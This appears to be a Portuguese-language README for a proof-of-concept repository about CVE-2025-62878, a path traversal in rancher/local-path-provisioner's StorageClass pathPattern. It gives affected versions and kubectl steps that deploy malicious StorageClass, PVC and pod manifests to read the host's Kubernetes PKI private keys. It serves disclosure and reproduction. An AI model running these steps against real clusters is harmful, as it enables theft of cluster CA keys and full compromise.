CVE-2025-62878: Travessia de Caminho (Path Traversal) no Local Path Provisioner
Visão Geral
| Item | Valor |
|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| Gravidade | Crítica (CVSS 10.0) |
| CWE | CWE-23 (Relative Path Traversal) |
| Componente Afetado | rancher/local-path-provisioner |
| Versões Afetadas | v0.0.27 ~ v0.0.32 |
| Versões Corrigidas | v0.0.33+ |
Descrição da Vulnerabilidade
Existe uma vulnerabilidade de travessia de caminho no parâmetro pathPattern de StorageClass. Um usuário malicioso pode manipular pathPattern usando elementos de caminho relativos (por exemplo, ../) para criar PersistentVolumes apontando para locais arbitrários no nó host, contornando a restrição do diretório base configurado.
Isso permite que atacantes:
- Acessem arquivos sensíveis do host (por exemplo,
/etc/kubernetes/pki/)
- Sobrescrevam arquivos críticos do sistema
- Alcancem comprometimento total do cluster ao roubar chaves privadas da CA do Kubernetes
Versões Afetadas (Verificadas)
Nota: O advisory oficial do GitHub afirma que "< 0.0.34" é afetado, mas nossos testes confirmam:
- v0.0.33 já está corrigido
- v0.0.26 e anteriores não são afetados (o recurso pathPattern não existe)
- Faixa realmente afetada: v0.0.27 <= versão <= v0.0.32
Linha do Tempo
| Evento | Data |
|---|
| Recurso pathPattern introduzido | 2024-05-26 (commit af85381) |
| Primeira versão vulnerável (v0.0.27) |
Reprodução
Consulte o diretório exploit/ para etapas detalhadas de reprodução e scripts.
Início Rápido
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Atualize para v0.0.33 ou posterior:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml
Referências